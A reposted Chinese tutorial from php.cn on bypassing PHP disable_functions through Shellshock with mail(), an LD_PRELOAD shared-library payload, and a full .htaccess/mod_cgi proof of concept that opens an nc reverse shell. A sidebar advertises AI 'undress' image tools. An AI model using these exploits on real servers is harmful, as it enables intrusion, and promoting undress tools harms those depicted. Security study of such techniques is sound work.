首頁 後端開發 php教程 bypass disable functions執行PHP系統指令總結

bypass disable functions執行PHP系統指令總結

May 16, 2018 am 11:28 AM

這次帶給大家bypass disable functions執行PHP系統指令總結,bypass disable functions執行PHP系統指令的注意事項有哪些,下面就是實戰案例,一起來看一下。

一、為什麼要bypass disable functions

#為了安全起見,很多維運人員會停用PHP的一些「危險」函數,例如eval、exec、system等,將其寫在php.ini設定檔中,就是我們所說的disable functions了,特別是虛擬主機運營商,為了徹底隔離同伺服器的客戶,以及避免出現大面積的安全問題,在disable functions的設定中也通常較為嚴格。

攻與防是對立的,也是互相補充的,既然有對函數的禁用措施,就會有人想方設法的去突破這層限制,我們只有在掌握突破方式以及原理的基礎之上,才能更好的去防範這類攻擊。

執行系統指令通常是攻擊者拿到網站webshel​​l之後想要進一步動作的必然操作,如若不能執行系統指令,接下來的更深入的攻擊將很難繼續,所以就有了網站管理者禁用類似exec、system之類函數的現象。然而隨著技術的不斷進步,不斷有新的思路出現,單純的禁用這些函數,某些情況下已經不能阻止攻擊者達到執行系統命令的目的了,那麼攻擊者用什麼樣的方式突破了disable functions呢?我們又怎樣防範這樣的攻擊呢?

二、 Bash漏洞導致的任意指令執行

GNU Bash 環境變數遠端指令執行漏洞(CVE-2014-6271)是GNU Bash 的一個遠端程式碼執行漏洞,在這個CVE的介紹中,可以看到這樣的描述:「GNU Bash 4.3及之前版本中存在安全漏洞,該漏洞源自於程式沒有正確處理環境變數值內的函數定義。遠端攻擊者可藉助特製的環境變數利用此漏洞執行任意程式碼。以下產品和模組可能會被利用:OpenSSH sshd中的ForceCommand功能,Apache HTTP Server中的mod_cgi和mod_cgid模組,DHCP客戶端等」。實際上,PHP也可以利用這個漏洞做很多事情,甚至有可能直接在80導致遠端命令執行。關於這個漏洞的詳細情況可以查閱CVE-2014-6271的相關資料,此處不再贅述。

下面我們來看看PHP到底什麼地方能用到bash的這個漏洞呢?其實可以用的地方不只一處,這裡我們以mail函數作為例子,其他地方同理,可以自行分析。

PHP的mail函數提供了3個必選參數和2個可選參數,這裡我們主要看最後一個參數,PHP官方手冊上對最後一個參數的說明:

“Theadditional_parameters parameter can be used to pass an additional parameter tothe program configured to use when sending mail using the sendmail_pathconfiguration setting. For example, this can be used to set the envelope senderaddress when using sendmail with the -f sendmail option.
Theuser that the webserver runs as should be added as a trusted user to thesendmail configuration to prevent a ‘X-Warning' header from being added to themessage when the envelope sender (-f) is set using this method. For sendmailusers, this file is /etc/mail/trusted-users. “
登入後複製

簡單的說就是這個參數可以透過添加附加的命令作為發送郵件時候的配置,例如使用-f參數可以設定郵件寄件人等,官方文檔在範例Example #3也有所演示,具體可參考官方文件:http://php.net/manual/zh/function.mail.php 。

在mail函數的原始碼mail.c中,我們可以找到如下程式碼片段:

if (extra_cmd != NULL) {
       spprintf(&sendmail_cmd, 0,"%s %s", sendmail_path, extra_cmd);
    } else {
       sendmail_cmd = sendmail_path;
    }
登入後複製

如果傳遞了第五個參數(extra_cmd),則用spprintf將sendmail_path和extra_cmd拼接到sendmail_cmd中(其中sendmail_path就是php.ini中的sendmail_path配置項),接著將sendmail_cmd丟給popen執行:

#ifdef PHP_WIN32
    sendmail = popen_ex(sendmail_cmd,"wb", NULL, NULL TSRMLS_CC);
#else
    /* Since popen() doesn't indicate if theinternal fork() doesn't work
    *(e.g. the shell can't be executed) we explicitly set it to 0 to be
    *sure we don't catch any older errno value. */
    errno = 0;
    sendmail = popen(sendmail_cmd,"w");
#endif
登入後複製

如果系統預設sh是bash,popen會派生bash進程,而我們剛才提到的CVE-2014-6271漏洞,直接就導致我們可以利用mail()函數執行任意指令,繞過disable_functions的限制。但這裡其實有個問題,就是extra_cmd在spprintf之前做了安全檢查,我目前的PHP版本是最新的7.2.4,程式碼位置在mail.c的第371-375行:

 if (force_extra_parameters) {
       extra_cmd =php_escape_shell_cmd(force_extra_parameters);
    } else if (extra_cmd) {
       extra_cmd =php_escape_shell_cmd(ZSTR_VAL(extra_cmd));
    }
登入後複製

php_escape_shell_cmd函數會對特殊字元(包括`|*?~<>^()[]{}$\, \x0A and \xFF. ' 等)轉義,那這樣是不是就沒辦法了呢?不是的,我們可以透過putenv函數來設定一個包含自訂函數的環境變量,然後透過mail函數來觸發,網路上早已有POC。

同樣呼叫popen派生進程的php函數還有imap_mail,或者還可能有其他的我們沒有發現的函數,所以如果要防範這類攻擊,最好的辦法就是從根源上入手,修復CVE -2014-6271這個bash漏洞。

三、LD_PRELOAD:无需bash漏洞

上文说到mail函数利用bash破壳漏洞可以实现突破disable functions的限制执行系统命令,但是像这样的漏洞,一般安全意识稍好一点的运维人员,都会打上补丁了,那么是不是打上补丁之后就一定安全了呢?显然答案是否定的,LD_PRELOAD是Linux系统的下一个有趣的环境变量:

它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

它允许你定义在程序运行前优先加载的动态链接库,我们只要知道这一件事就足够了,这说明什么?这说明我们几乎可以劫持PHP的大部分函数,还拿上文的mail函数作为例子,上文说过,php的mail函数实际上是调用了系统的sendmail命令,那么我们来看一下sendmail都调用了哪些库函数:

使用readelf -Ws /usr/sbin/sendmail命令来查看,我们发现sendmail函数在运行过程动态调用了很多标准库函数,我们从中随便选取一个库函数geteuid进行测试。

首先我们编写一个自己的动态链接程序,hack.c:

#include<stdlib.h>
#include <stdio.h>    
#include<string.h> 
void payload() {
    system("touch/var/www/html/test");
}  
int geteuid() {
if(getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
登入後複製

当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令,在/var/www/html目录下创建一个名字为test的文件。这里实际应用时应该注意编译平台和目标尽量相近,以及注意路径问题,避免不必要的麻烦,这里我们仅仅作为测试,不考虑这些问题。

[[email protected]]# gcc -c -fPIC hack.c -o hack
[[email protected]]# gcc -shared hack -o hack.so
登入後複製

我们把hack.so放到WEB目录,然后编写一个PHP文件进行测试:

<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
mail("[email protected]","","","","");
?>
登入後複製

我们的/var/www/html/目录下本来只有hack.so和index.php这两个文件,当我们在浏览器中访问index.php页面之后,可以看到目录下又多出了一个test文件,说明我们的系统命令执行成功。

(PS:笔者实际测试时的环境是VMPlayer7+CentOS7+Apache2.4+PHP7.2.4的环境,测试时遇到一个问题,就是每次刷新访问index.php时,虚拟机的VM进程会疯狂的读写硬盘,几乎独占磁盘的所有活动时间(机械硬盘),导致虚拟机卡顿到连鼠标都无法移动,物理机也因此受到影响明显卡顿,约半小时左右这种情况会突然消失,最终测试结果成功。不知道是什么原因引起这种现象,需要进一步研究,但不在本文讨论范围之内。)

这种绕过行为实施起来很简单,并且目前为止还不受PHP与Linux版本的限制,但是也很容易防御,只要禁用相关的函数(putenv)或者限制对环境变量的传递就可以了,但是要注意对现有业务是否造成影响。

其实对于这个问题,早在2008年就有人向PHP官方反馈过,只不过PHP给出的回复是你最好禁用putenv函数: https://bugs.php.net/bug.php?id=46741 ,所以我们有理由相信在后续的PHP版本中也不会对这个问题有什么针对性的解决方案。

四、.htaccess:不止重定向

大家对.htaccess文件一定不陌生,没错,在apache的WEB环境中,我们经常会使用.htaccess这个文件来确定某个目录下的URL重写规则,特别是一些开源的CMS或者框架当中经常会用到,比如著名的开源论坛discuz!,就可以通过.htaccess文件实现URL的静态化,大部分PHP框架,例如ThinkPHP和Laravel,在apache环境下会用.htaccess文件实现路由规则。但是如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。

关于mode_cgi,可以参考apache的官方说明: http://man.chinaunix.net/newsoft/ApacheManual/mod/mod_cgi.html 。

“任何具有mime类型application/x-httpd-cgi或者被 cgi-script处理器(Apache 1.1或以后版本)处理的文件将被作为CGI脚本对待并由服务器运行, 它的输出将被返回给客户端。通过两种途径使文件成为CGI脚本,或者文件具有已由 AddType指令定义的扩展名,或者文件位于 ScriptAlias目录中。”,这就表示,apache允许WEB服务器与可执行文件进行交互,这就意味着,你可以用C或者python编写WEB应用,听起来我们好像可以做任何apache权限用户能做的事情了,那么到底如何实现呢?

首先需要满足几个条件,第一,必须是apache环境,第二,mod_cgi已经启用(在我的环境下是默认启用的),第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none,第四,必须有权限写.htaccess文件。其实这几个条件还是比较容易满足的,满足了以上的条件,就可以“搞事情”了。

在apache的配置中,有一个非常重要的指令,Options,Options指令是Apache配置文件中一个比较常见也比较重要的指令,Options指令可以在Apache服务器核心配置(server config)、虚拟主机配置(virtual host)、特定目录配置(directory)以及.htaccess文件中使用。Options指令的主要作用是控制特定目录将启用哪些服务器特性。关于Options指令后可以附加的特性选项的具体作用及含义,可以参考这篇文章: http://www.365mini.com/page/apache-options-directive.htm ,当然我们用到的就是ExecCGI选项,表示允许使用mod_cgi模块执行CGI脚本。除了Options,我们还要配合另外一个AddHandler指令来使用,如果你对AddHandler不太熟悉没关系,这么解释一下就容易理解多了:AddType我们肯定很熟悉,比如配置apache对PHP的支持的时候,经常会添加一行类似AddTypeapplication/x-httpd-php .php这样的配置,这其实是指定了文件扩展名和内容类型之间的映射关系,而AddHandler则是指定扩展名和处理程序之间的关系,也就是说,可以指定某个特定的扩展名的文件,如何来进行处理。

有了Options和AddHandler,我们就可以随便指定一个特定的文件扩展名以特定的程序来处理,这样思路就很清晰了:先把要执行的程序写入一个特定扩展名的文件里,然后修改.htaccess文件,通过Options指令允许使用mod_cgi模块执行CGI脚本,然后再让我们特定的扩展名以cgi-script进行处理,这样我们甚至可以反弹一个shell出来。

POC如下,附注释:

<?php
$cmd = "nc -c&#39;/bin/bash&#39; 127.0.0.1 4444"; //反弹一个shell出来,这里用本地的4444端口
$shellfile ="#!/bin/bash\n"; //指定shell
$shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //需要指定这个header,否则会返回500
$shellfile .="$cmd"; 
functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
  echo "$text: " . ($condition ?$yes : $no) . "<br>\n";
}
if(!isset($_GET[&#39;checked&#39;]))
{
  @file_put_contents(&#39;.htaccess&#39;,"\nSetEnv HTACCESS on", FILE_APPEND); 
  header(&#39;Location: &#39; . $_SERVER[&#39;PHP_SELF&#39;]. &#39;?checked=true&#39;); //执行环境的检查
}
else
{
  $modcgi = in_array(&#39;mod_cgi&#39;,apache_get_modules()); // 检测mod_cgi是否开启
  $writable = is_writable(&#39;.&#39;); //检测当前目录是否可写
  $htaccess = !empty($_SERVER[&#39;HTACCESS&#39;]);//检测是否启用了.htaccess
    checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No");
    checkEnabled("Iswritable",$writable,"Yes","No");
    checkEnabled("htaccessworking",$htaccess,"Yes","No");
  if(!($modcgi && $writable&& $htaccess))
  {
    echo "Error. All of the above mustbe true for the script to work!"; //必须满足所有条件
  }
  else
  {
 checkEnabled("Backing 
up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in 
.htaccess.bak","Failed!"); //备份一下原有.htaccess
checkEnabled("Write 
.htaccessfile",file_put_contents(&#39;.htaccess&#39;,"Options 
+ExecCGI\nAddHandlercgi-script 
.dizzle"),"Succeeded!","Failed!");//.dizzle,我们的特定扩展名
    checkEnabled("Write shellfile",file_put_contents(&#39;shell.dizzle&#39;,$shellfile),"Succeeded!","Failed!");//写入文件
    checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//给权限
    echo "Executing the script now.Check your listener <img src = &#39;shell.dizzle&#39; style =&#39;display:none;&#39;>"; //调用
  }
}
?>
登入後複製

我们在本地开nc监听4444端口,然后在浏览器中打开这个页面,如果执行成功,将会反弹一个shell到4444端口:

当访问POC的时候,成功反弹了一个shell到本地的4444端口,可以看到执行id命令后的回显。

五、其他方式

除上述方式外,在某些特定情况下,还有很多能够绕过php.ini的禁用函数达到执行系统命令目的的方法,但是由于这些方法受到的限制颇多,很少有满足条件的真实环境,所以鉴于篇幅原因,以下只粗略介绍几个其他绕过方式,并提供相关的详细介绍的文章链接,如果有兴趣详细了解,可以参考互联网上的相关资料。

ImageMagick

ImageMagick是一款使用量很广的图片处理程序,很多厂商包括Discuz、Drupal、Wordpress等常用CMS中也调用了ImageMagick扩展或ImageMagick库进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。在ImageMagick6.9.3-9以前的所有版本中都存在一个漏洞,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入,官方在6.9.3-9版本中对漏洞进行了不完全的修复。关于这个漏洞的具体利用和防御方式可以参考:

 http://wooyun.jozxing.cc/static/drops/papers-15589.html 。

pcntl_exec

pcntl是linux下的一个扩展,可以支持php的多线程操作。很多时候会碰到禁用exec函数的情况,但如果运维人员安全意识不强或对PHP不甚了解,则很有可能忽略pcntl扩展的相关函数。

COM 组件

Windows環境下,當php.ini的設定項com.allow_dcom =true時,可以透過COM元件執行系統指令,甚至開啟安全模式也可以,相關資料參考: https:// www.exploit-db.com/exploits/4553/ 。

win32std

win32std是一個很老的PHP擴展,其中的win_shell_execute函數可以用來執行Windows系統指令:https://www.exploit-db. com/exploits/4218/ 。

六、總結

對於入侵者來說,拿到一個webshel​​l之後,如果想要進一步取得更高的權限或更多的數據和信息,執行系統命令幾乎是必須的。當我們在PHP應用中出現了某些紕漏導致入侵時,如何讓損失降到最低就成了首要的問題。從本文已經列舉的方法中不難看出只要掌握了這些原理,防範工作是非常簡單有效的,只要經常關注安全動態,是完全可以做到對以上繞過措施進行防禦的。

相信看了本文案例你已經掌握了方法,更多精彩請關注php中文網其它相關文章!

推薦閱讀:

PHP ajax實作取得新聞資料案例詳解

##php curl批次實作可控制並發非同步操作案例詳解

以上是bypass disable functions執行PHP系統指令總結的詳細內容。更多資訊請關注PHP中文網其他相關文章!

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

熱門話題

Java教學
1653
14
CakePHP 教程
1413
52
Laravel 教程
1306
25
PHP教程
1251
29
C# 教程
1224
24
在PHP API中說明JSON Web令牌(JWT)及其用例。 在PHP API中說明JSON Web令牌(JWT)及其用例。 Apr 05, 2025 am 12:04 AM

JWT是一種基於JSON的開放標準,用於在各方之間安全地傳輸信息,主要用於身份驗證和信息交換。 1.JWT由Header、Payload和Signature三部分組成。 2.JWT的工作原理包括生成JWT、驗證JWT和解析Payload三個步驟。 3.在PHP中使用JWT進行身份驗證時,可以生成和驗證JWT,並在高級用法中包含用戶角色和權限信息。 4.常見錯誤包括簽名驗證失敗、令牌過期和Payload過大,調試技巧包括使用調試工具和日誌記錄。 5.性能優化和最佳實踐包括使用合適的簽名算法、合理設置有效期、

會話如何劫持工作,如何在PHP中減輕它? 會話如何劫持工作,如何在PHP中減輕它? Apr 06, 2025 am 12:02 AM

會話劫持可以通過以下步驟實現:1.獲取會話ID,2.使用會話ID,3.保持會話活躍。在PHP中防範會話劫持的方法包括:1.使用session_regenerate_id()函數重新生成會話ID,2.通過數據庫存儲會話數據,3.確保所有會話數據通過HTTPS傳輸。

什麼是REST API設計原理? 什麼是REST API設計原理? Apr 04, 2025 am 12:01 AM

RESTAPI設計原則包括資源定義、URI設計、HTTP方法使用、狀態碼使用、版本控制和HATEOAS。 1.資源應使用名詞表示並保持層次結構。 2.HTTP方法應符合其語義,如GET用於獲取資源。 3.狀態碼應正確使用,如404表示資源不存在。 4.版本控制可通過URI或頭部實現。 5.HATEOAS通過響應中的鏈接引導客戶端操作。

您如何在PHP中有效處理異常(嘗試,捕捉,最後,投擲)? 您如何在PHP中有效處理異常(嘗試,捕捉,最後,投擲)? Apr 05, 2025 am 12:03 AM

在PHP中,異常處理通過try,catch,finally,和throw關鍵字實現。 1)try塊包圍可能拋出異常的代碼;2)catch塊處理異常;3)finally塊確保代碼始終執行;4)throw用於手動拋出異常。這些機制幫助提升代碼的健壯性和可維護性。

PHP中的匿名類是什麼?您何時可以使用它們? PHP中的匿名類是什麼?您何時可以使用它們? Apr 04, 2025 am 12:02 AM

匿名類在PHP中的主要作用是創建一次性使用的對象。 1.匿名類允許在代碼中直接定義沒有名字的類,適用於臨時需求。 2.它們可以繼承類或實現接口,增加靈活性。 3.使用時需注意性能和代碼可讀性,避免重複定義相同的匿名類。

包括,require,incement_once,require_once之間有什麼區別? 包括,require,incement_once,require_once之間有什麼區別? Apr 05, 2025 am 12:07 AM

在PHP中,include,require,include_once,require_once的區別在於:1)include產生警告並繼續執行,2)require產生致命錯誤並停止執行,3)include_once和require_once防止重複包含。這些函數的選擇取決於文件的重要性和是否需要防止重複包含,合理使用可以提高代碼的可讀性和可維護性。

說明PHP中的不同錯誤類型(注意,警告,致命錯誤,解析錯誤)。 說明PHP中的不同錯誤類型(注意,警告,致命錯誤,解析錯誤)。 Apr 08, 2025 am 12:03 AM

PHP中有四種主要錯誤類型:1.Notice:最輕微,不會中斷程序,如訪問未定義變量;2.Warning:比Notice嚴重,不會終止程序,如包含不存在文件;3.FatalError:最嚴重,會終止程序,如調用不存在函數;4.ParseError:語法錯誤,會阻止程序執行,如忘記添加結束標籤。

PHP和Python:比較兩種流行的編程語言 PHP和Python:比較兩種流行的編程語言 Apr 14, 2025 am 12:13 AM

PHP和Python各有優勢,選擇依據項目需求。 1.PHP適合web開發,尤其快速開發和維護網站。 2.Python適用於數據科學、機器學習和人工智能,語法簡潔,適合初學者。

See all articles